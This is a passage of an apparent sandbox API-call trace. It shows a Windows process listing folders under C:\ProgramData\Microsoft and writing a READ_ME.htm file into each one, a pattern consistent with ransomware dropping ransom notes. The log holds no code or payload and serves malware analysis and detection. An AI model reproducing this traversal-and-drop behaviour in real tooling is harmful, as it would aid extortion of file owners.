lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client", lpFilePart=0x0) returned 0x2a [0136.687] SetErrorMode (uMode=0x1) returned 0x0 [0136.687] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.688] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.688] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0136.688] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0136.688] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.688] SetErrorMode (uMode=0x0) returned 0x1 [0136.688] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0136.689] SetErrorMode (uMode=0x1) returned 0x0 [0136.689] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.689] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.689] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.689] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0136.689] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.690] SetErrorMode (uMode=0x0) returned 0x1 [0136.690] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0", lpFilePart=0x0) returned 0x2e [0136.690] SetErrorMode (uMode=0x1) returned 0x0 [0136.690] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.690] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0136.691] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0136.691] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.691] SetErrorMode (uMode=0x0) returned 0x1 [0136.691] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0136.692] SetErrorMode (uMode=0x1) returned 0x0 [0136.692] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.707] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1 [0136.708] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 0 [0136.709] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.710] SetErrorMode (uMode=0x0) returned 0x1 [0136.710] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US", lpFilePart=0x0) returned 0x34 [0136.710] SetErrorMode (uMode=0x1) returned 0x0 [0136.711] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\*" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.712] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x243448f1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.712] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x2436abaa, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xabde2c6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa65a8bbf, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x2f22, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_CValidator.H1D", cAlternateFileName="HELP_C~1.H1D")) returned 1 [0136.712] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae2660aa, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae2660aa, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x365fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_AssetId.H1W", cAlternateFileName="HELP_M~1.H1W")) returned 1 [0136.712] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae409b6f, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae409b6f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x325ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MKWD_BestBet.H1W", cAlternateFileName="HELP_M~2.H1W")) returned 1 [0136.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x79f1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MTOC_help.H1H", cAlternateFileName="HELP_M~1.H1H")) returned 1 [0136.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x26353250, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x3944, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.H1D", cAlternateFileName="HELP_M~1.H1D")) returned 1 [0136.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x24534c56, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae45604d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae45604d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help_MValidator.Lck", cAlternateFileName="HELP_M~1.LCK")) returned 1 [0136.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 1 [0136.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x249fa376, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xae0e8854, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xae0e8854, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xd5310, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", cAlternateFileName="HELP{9~1.H1Q")) returned 0 [0136.713] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.715] SetErrorMode (uMode=0x0) returned 0x1 [0136.715] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x40 [0136.715] SetErrorMode (uMode=0x1) returned 0x0 [0136.715] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\en-US\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.716] GetFileType (hFile=0x1d0) returned 0x1 [0136.716] SetErrorMode (uMode=0x0) returned 0x1 [0136.716] GetFileType (hFile=0x1d0) returned 0x1 [0136.717] WriteFile (in: hFile=0x1d0, lpBuffer=0x282b5e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x282b5e8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0136.718] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0136.718] SetErrorMode (uMode=0x1) returned 0x0 [0136.718] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\1.0\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.719] GetFileType (hFile=0x1d0) returned 0x1 [0136.719] SetErrorMode (uMode=0x0) returned 0x1 [0136.719] GetFileType (hFile=0x1d0) returned 0x1 [0136.719] WriteFile (in: hFile=0x1d0, lpBuffer=0x282fb98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x282fb98*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0136.721] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\Client\\READ_ME.htm", lpFilePart=0x0) returned 0x36 [0136.721] SetErrorMode (uMode=0x1) returned 0x0 [0136.721] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\assistance\\client\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.723] GetFileType (hFile=0x1d0) returned 0x1 [0136.723] SetErrorMode (uMode=0x0) returned 0x1 [0136.723] GetFileType (hFile=0x1d0) returned 0x1 [0136.723] WriteFile (in: hFile=0x1d0, lpBuffer=0x2834138*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2834138*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0136.725] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Assistance\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0136.725] SetErrorMode (uMode=0x1) returned 0x0 [0136.725] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\assistance\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0136.726] GetFileType (hFile=0x1d0) returned 0x1 [0136.726] SetErrorMode (uMode=0x0) returned 0x1 [0136.726] GetFileType (hFile=0x1d0) returned 0x1 [0136.727] WriteFile (in: hFile=0x1d0, lpBuffer=0x28386b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x28386b8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0136.731] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x23 [0136.731] SetErrorMode (uMode=0x1) returned 0x0 [0136.732] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2661ba40, 